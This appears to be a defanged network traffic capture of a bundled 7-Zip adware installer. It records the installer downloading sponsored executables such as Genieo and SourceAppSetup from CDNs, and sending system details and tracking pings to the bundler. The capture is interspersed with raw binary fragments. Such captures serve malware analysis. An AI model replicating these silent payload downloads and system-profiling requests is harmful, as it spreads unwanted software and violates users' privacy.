N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
~...
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=370653-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: OimIRnDtO2qCjCDKcod5RiS6sikwA9fFtHothV3Ept59PwtmJhPOFSiCDz2QAdu4Fr5HJQ4X7uU=
x-amz-request-id: 4608F282436FA640
Date: Sat, 14 Feb 2015 04:01:11 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 370653-988407/988408
Content-Type: application/octet-stream
Content-Length: 617755
Server: AmazonS3
.......F....T2Y..B..U7...r....yR.5e..v.l.....a:{r.Ju.$..F}R..7Ul.4...N
i]H"x.O.....7..<...._*.;.....}U.).@k?jCE.4C.6|..{E.......1..t.^.<
;..F..z..>[email protected]&.e.......7u.(.q.1....=jm...e....- .......S>.
E.:.Qk..../l..n.J....R..^s... Q72.....Z.....X..IK.D}.. ..1?r~.. ..O..y
...y.7..\.h.Q..w..E...I-._....[.....K.jG.....q.5.*?...R\.f....u..P.?.i
.>l.9`..g..Q...p.f....k.m)...dK..N..).P.............w....!.......e.
.`.:...n..Bp2.jr...td.....~....wi-.P..?j8.j,.....].....K.<H...n....
.2.?".?.....4...QR...<R......c.\....._.%..v.dg.N. ...e.Xe.,&7,MY...
:,e.Z...,% .\.hK.....Y....^T. . ....<.A4.....6.(._x>........V...
...Sx.M.b)5)....Q.....V(..,..<t2.v.b..H.C...K......f];...a.R..14...
#Y..u.Aj....8<...... (.....l.DsaM#..$[_.IM|.WK.[%..[u?~...4.n.%..a.
...."...h/..i...`M.../...............X.\F.q.......;#....f....x.h."....
m..3nK.Jp(k..8.1.../.r.|...(.....#.,.....&%0.y..,......)..5.~.,...V...
;d.Vu...H.4G.#l....gL.j...y..?o...>I..)...g...H.!.;}/.Z..5.j...5...
..uR.......PM{....=...O..hDI...=H.6.PL..a6.!uz(.A........T.w...../..X.
.`\.x.7.'........>[email protected]
.@.^r#U.F...qv..D...j..%....8......r.%...K.....v$...i.t.....c.E......o
1e.Z>."..._4.UM$Keg..D...F...:.-1.ak.........-..|Y..A.#].g3...7..4.
.....Z..-.Q..yS._.uL.nK.e.M..Y"...p0OX...s2$w1....y.....06.)...(..C...
\.gX..>.h&..-.q&1....C..lI..>.W..T.J..MS..l.u.m81.R2..03R..3.<
;.....=X.........m.$wNp(3....D2.5.i..D4E.G..Z..?....eO.R.e......(l.Y..
. .....PE..!.|[email protected]..[XY.dz.;.u....U..r.... a
<<< skipped >>>


GET /__utm.gif?utmwv=5.6.3&utms=2&utmn=134117307&utmhn=bi.bisrv.com&utmhid=934154437&utmr=-&utmp=Offer_Accepted&utmht=1423886278133&utmac=UA-31676879-1&utmcc=__utma=1.833397082.1423886223.1423886223.1423886223.1;+__utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Wed, 04 Feb 2015 04:55:43 GMT
Server: Golfe2
Content-Length: 35
Age: 860535
Alternate-Protocol: 80:quic,p=0.02
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Wed, 04 Feb 2015 04:55:43 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 860535..Alternate-Protocol: 80:quic,p=0.02..Cache-Control:
 private, no-cache, no-cache=Set-Cookie, proxy-revalidate..GIF89a.....
........,...........D..;....


GET /__utm.gif?utmwv=5.6.3&utms=3&utmn=1280937276&utmhn=bi.bisrv.com&utme=8(sp_slug)9(youtubeaccelerator)&utmhid=934154437&utmr=-&utmp=Install_Complete&utmht=1423886292943&utmac=UA-31676879-1&utmcc=__utma=1.833397082.1423886223.1423886223.1423886223.1;+__utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Wed, 04 Feb 2015 04:55:43 GMT
Server: Golfe2
Content-Length: 35
Age: 860549
Alternate-Protocol: 80:quic,p=0.02
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Wed, 04 Feb 2015 04:55:43 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 860549..Alternate-Protocol: 80:quic,p=0.02..Cache-Control:
 private, no-cache, no-cache=Set-Cookie, proxy-revalidate..GIF89a.....
........,...........D..;..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=965013-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321670
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT
Accept-Ranges: bytes
ETag: "639a3946a47d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 13 Feb 2015 18:27:45 GMT
Content-Range: bytes 965013-1286682/1286683
X-Cache: Miss from cloudfront
Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 9oESwA5AhmtmV0Ew1DK1llPf4yUWFB5DpjtK_ZC7W7azfBS6cVLBsQ==
.)~.k....%....d.U..2..Jv..d......7....Xk.......m.].u....aD..U..>...
..^ae..Sgd...z...QBF...F..x..t ..^.(v..\..F.b..hM4=B...P!W44 ., .1_...
.3..[.j.,&..0....... ..PL......u...d..,?9......3..%`\....=....(..P....
e*LF..ez.Z.F......5C,...iy....=.'F.|a!aAk....gs..(.|.!.2(Z8....?..'../
.w.9.U.3....U?. .u.z ....=.r.....-..q.....b. .T<...y......)_.2N^...
.f.....OL.Dc.d.S....t....#".~8L.q.#?-.....).....F..$......h..S..6Y.Ui.
u.UF.y".....E5..r.._z.........T..7a..6....m..\.[..N.....~N.-I.fm....r.
:...{[h.....n..~b2....q............9.....:*5.[....On{..R...n....S).M.1
.he.(~p|.I.q.........x.;.......(..H.m....:.;.......:...3</.....4..K
6.P...(..".o......]...i..#L.....M.b.b...c.]a.D.G.Rf`p...=.4..xH|....`.
...?8...bm..Ez.).(...O.......;/G....0L.Z...w.r.e.....6:.6..mj....5..-s
..~=!t..$pA}#l.0..0..3g .;.b..{.` ./.8.-.c.U'.Q..y.8...W....a....|.6..
."....p[.w.j.[(... Z.&!b.[..F..-...ig.L5......wz..L..^...... )P....kp.
..0..l.t.`N.2.!..m.24..zKN..:.....m.X.......D&.._....s.......-....V.=a
r.../SuCj...&../.*. ..j0..1.O.,.... d..........)..h........R.PO.A_....
.t..Q.=.t...i.j.~.-...Vd.{..;..s.~..4.v...N.D@.;q.'[../e.2S5.?...kB..h
..F4^...WM...7~..pf...~.....G..GQ.N:_..k..-..5V...Gv68WDh..R..."......
...z.....&...X.F.0^...^.[wo.....;.. .....r.Z-..........lU]eV..C5.._S.D
*...i(..O.b..2.B..F..=..:a~T.......}vu...Cm.[Z..........l]./...~...z..
p....k..t...6X.......&...|w#.%;.jS.Y..}Y....$*Z...XH. ...E.....x5..k..
.JF...d >;.U...b!.A....X.w..5.........p.l8...T.......@c7...~.....kB
..6.3.....c...^[email protected].!z.:sh...j..E.2
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.04010042499023647 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.1.10.1423886295; __utmc=1; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:59:11 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:59:11 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1
Range: bytes=100036-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 100036
Connection: keep-alive
Date: Sun, 08 Feb 2015 06:04:13 GMT
x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537
Cache-Control: max-age=3600
Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT
ETag: "ef7d1863f4980ab0c8bda142fee67f92"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 100036-200071/200072
Age: 377
X-Cache: Hit from cloudfront
Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)
X-Amz-Cf-Id: K6uI9vvR2OSRNQDlJ_DjJIlGx8wtTWEZBbveqrWS74GYbzvDPQWXoA==
..c.,Q....O;...sr........I.......[...M.^..Q...(...J.."....i.(<0.i..
.............H.Q...u..P..)..V7.m.).O.j..zT....%....21.....^-...x.O....
W..d.U..~...\O.a....DI.ac..y..1..........*.Z......S.....ig...D..nW.o..
.....q(..ebJ.QO.%..Y..a.b...a...,..j...L.F..xx..O:..Q..lo?.....IP.....
..If....&....bP=.p....$_...=..W...*...v/(Ps{....8.A.......VrXX....*...
T.U7..g...l....M.....G.a......J...6O..tW...*S._EL.<..ga..Kd{.."....
....................4Q.%.mLM.&.... .(5R.d\.r...M.A..&|.....".%D....K:.
..p.d.%%..2;...Tw.;.G\..:.z.M./.x~>_M.^o.m...4...AJ.....~z......K0.
...$9..#......v..!.k/.p.?.@a,..P.i.6.s..!?...c......~A#).....W5.%..Y..
$h..m....4.s..D..G%.5...6-..G.t$..T,..}(......p..c...{..E.......u.b ..
.K.2..)....~Qdf.X.1.!....: .'7.:.$..5.s<.b1..MP...o...W........T..A
0.{...........A.9qk7?t.'........B.) U....7.. k...S...O(..K..g.(.n..-`^
.P.....c;.y ..qj.....w.c.GH.4....^...rcf..v..h..c..E...Z..|...X...0.7.
.Vit..W......C..Y..e.=......X4....o....Lc%...-}lp.`..K.?.s........vE]_
~He.$.O.V..F.#..[...bVyU...?...B...,....pTK..>..c.....!..-.....Qi.)
V....1MXZ..<'..l.]..:.....m&H.~...g...(']....?Z...9m...l......h....
......3.q..]l1..kj..Y.w.;.$&..|.U. J`.....,...@l*.76.)..X....juE.[7..2
.}..e.I2.[X.Y..q.r)%...9.}..VG..=.p...([email protected]._..0
...0.2.6qH........P.?.L.v......n2w..$.~f....T...~K..d.\.U.A.N}..j|..Yt
s.....>Um#U....R...c....d.).8g.C. [email protected].;]. X.>.
3Qd.....s.|.._..(...Iz.z...I&..S].C.^....{]y.Z....i.w_...]V.j3.=F-7z..
.Z..j.^...p.x.l5>....'....A.$8=........O.....ad.....A.g&.;....:
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=218688-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:56:59 GMT
Date: Sat, 14 Feb 2015 03:56:59 GMT
Content-Range: bytes 218688-583167/583168
Content-Length: 364480
Connection: keep-alive
...q>TN............p.$o.=m%.\._...........S...%.1/Q..c.....(..\a...
N..~.?..u..).\..*..C.?...LrC~...A...e..Y..wg<..........*..H..:RSnl.
. .&.;....S..P.Iw.B....0..[.....3..T.O......#.{.......5.....h....l.>
;7.C...1U..e`.{.Y...U...1%.2B...i..A.R.47JQ.J..`.n...X...hN..c..x.1...
Dn.#........k.D....Nn....a....E...e.X.>.`&.1@.^xU.5.....<..p.V..
]..R ..H#..A.p..p...~....)...N~./[email protected](.....*.2....>...=.m....C..
...jmpG.......l... ..R..a.3....m$xnw..-kU...'}a..Q?.O..."..(U..0..W...
.. /...W?.7o..3]A.G...E7....UBT.H.. Jc0E.....>v.7=.6..3.].=3'.C}...
N..-...V xK...L.Z.{..o.....Q^....'....~...\e.....&.....WC..xQgeX...W.X
k....0....f..{..g....2....O....40 ......?.".........-....5*a.#...U~..I
..MH`.....M.....G..Q.M.....~.P......Z.@sX>@..T.&...../....m}.p._..~
..&..11..^[email protected]...'..K.g.j]zi.....8.5S."8R....\.H.MO{..>.Yt
.-....[@......lBI.Q...........7....TX^.....0.5.s.'..C.......9...P.....
[.f...O.G....b.D...l......`.........c.."<...'.....X....,........q..
..........).../.P.Pt3.T.p.A....ZY...`(.....;,.h%...j.,.J..#u |2..n.w.h
x,X..z.K{..zY....UG.{......*..v.N.g..A....|.u..0.).'..qF.K..\..~.a....
M.s;..Q..wY%..<.........39s.KWI5..-..=L..M.MW .Wq.*..5...C......f4C
[email protected].<...5.K...Hi..H.d ..k...S.........<.....\..3..q!...8c..
....o.x...v....W......&....q.w.>..<.Dz..\.....>...M......B.z.
@.CX..g[.... i...o...g..}...eg.._...N.....n>..V3...H|..r....k...BvH
..g..\[email protected]..'m...e........:.".5...wU.|.....bJ"/[email protected].*..
.uH.x&o.....>....E..?.b.!...Y B......Z...-,...8)...... .$5.6.P.
<<< skipped >>>


GET /awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.4.10.1423886295; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:01:06 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
600a...............v.G.5......f.4 $G..*P)\..Jj.m.eW.4W.H.Ib.0h0.~..Y.'
.{....9..\..........1.8.>.7z....UR..........&q..k...d....x6O.Q.\...
...yw.^-j|/......E.>[email protected]_..Q2;...[....t.vF..<
~.lMg[..w....t......D.x4O....t2... ..d...w....yw.t/.....t.......c.\L..
"../.....]N..W.&sw......A.-f./.~......P.......~2.G.>?...|._|.g..|..
D.}..*.7..X........_.V..j.N'..:._.WA ..,........34K.....,G#<.7N...v
..o..|...N?..=..q%..s.=N..Y...u.......t..d.....-v..q2.....~_....A.:.ac
.......uh.....0..M..........Y.{...K.W....t6.'i.....y..j7/[email protected]./.}...
.;....(hk.....=...U<.j.}r.....x.....\..i&.}.?...Iw..a.{.w.(.03E,v&g
t;_v..a]|..v.OzS.n...b.{\M.d...g..w..~...q..;]N..O.p|..*..G....e..snr[
..,80..Lfc.H'...W.....k?..a.-.ab.;.@<.LA2.c.{..-.-...qo0.........7?
_..~F  .{...l.=...Z\...a.......P. ..Yw...'.......W....O....*...%...xry
.i..=... .P....;....H.......^[B...d..b...$A....=.:...b.z.6.L?.........
.........}.....g..=t..p..(.y.>.rH]..].3.3..d..vw...I<R..........
.|.?...i..n7.{....................9I..{[email protected]...........~.A....[
.......q..D.....v<.O...r....8.;..^...t22.w/.n......0..u...*~...=...
...k...................]?.{..{K....[;<._.....[=[\.._1.R..{o...{...[
.........y. ...W..._...[.}.........^.....{_......g.%.....?.5.y..!.p...
..P..<..(.........x.....f..M.A..*.'.m...W)..mn.C.z={..Np.....-.%.&.
.^...v..... T..}..j..x..........\..N.m\...r6.N!......M8...r.w..(.2....
."x.q...Q..V4]........wy....,.D......(.....f3i\..z......=..=...Ir.E=..
...H.......=...{..akC......y}1L....[..q.&..g3,0;.:,...CY..By4H.f..
<<< skipped >>>

POST /installer/ajax HTTP/1.1


x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Content-Length: 2195
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.4.10.1423886295; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1

country=UA&uid_orig=032b51a823ded246ba19346b82f99535&uid=032b51a823ded246ba19346b82f99535&affid=awat7zip54650&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=ccce346f269b3424621d6057eef01e72&tokyo_csrf_timestamp=1423886466&unique_id=9b2a2631e07de3ea563da5f894f4918c&clientIp=19
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:01:07 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
f59.............\is.6.. XV%.B.%.:.(%;v.J.Q...n&.....D$........}......v
.8...I\.F....^;..r!._.........x%...I..Q.S...#.g.-}....=....."....dK.E,
...G,....LN.g...K_q/.c...'W...,XV.....,.....A.{..u..... .)...9WqF...?S
..<.].D".a../5y.L0......<....G...Z.w'..}..].....~.r_eD..o,..R...
.e.I?d.....=.\..._$.*o...9.c.q...k1-GtYj.2/.f.T.......\M..[..^7|..X.-.
l.......*..K.X.|...M.$.x...r...8....w....3.V-..fz)....K.p...}j..S..1.E
.k.../E........"r....%...yff..\...*|..]....$...']s*Tl*.'.=.f..|.yv... 
..T.[..:..g..1.....]E.....9f.M.......d.y{...;..u.s.A3.H..3m.......a...
b.r......=.9..}o..V.]..a..$...u~.Q !*......0.Q....k~.'.D..J..$.d. ...e
.CS.O).fb....<"3 ..(3.4.T.=N.......kl.QB.5.E....=k^.<...BW..&e).
.....S'K.....n-r...ln..=...~..b..y.h.).o.Q.r.fpU.t.1z4....q.)4...v2,M.
!-.d4....Y..... .. _.dX....<...q.......I.j...T..Y.........^&^Qo.'.|
./y..jF.......z.)..a......C.Up'_..I.B.!.!..q.......s>....EY.......7
..g...N.._.Iz........H..um...8DR.......Q..e=.x@.'.....5^;.?*...y....r/
...F.....(.!.S..j....p.:v...D.7^.[/Y..,s..^..04...fu..........'...z...
....._z..x$z|T(...............PX.T..rE..s...E.H.eNh.2..v.....VL.D...U.
.....7...OB....v.d[.".\G.....3......C...J..t.ED.u...`@......V... ...g.
;.V.#..0^..F.P/.N.=..".*8..........|s .p9S".x/G.q....m.h...lMK.AE..T._
.....$mi.........9.3.......F...G. .\G....Z Z.w"|.......v.G.%.fB"f$.rya
.....>Jtx......E"...Kd.#..`..pxiPi....4.....{...t....~.A.....S4..X.
.)\?Th........x0...}.TB..~$....f3..e;{p.Q.....HF.3..i.. q.}...W{.Z..h.
.2/W.N..G..m.7u{/.}4t..;..F1.....r._*.zB..P.u.....rq..,...6..s....
<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=1&index_in_screen=1&index_in_session=1&display_height=170&0.7890064771978099 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.5.10.1423886295; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:01:25 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 04:01:25 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:58:15 GMT
Date: Sat, 14 Feb 2015 03:58:15 GMT
Content-Range: bytes 0-583167/583168
Content-Length: 583168
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.ds HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:00:40 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.47 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 20
15 04:00:40 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.47 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.finish HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:00:44 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.49 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 20
15 04:00:44 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.49 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /analytics.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.google-analytics.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 02:23:02 GMT
Expires: Sat, 14 Feb 2015 04:23:02 GMT
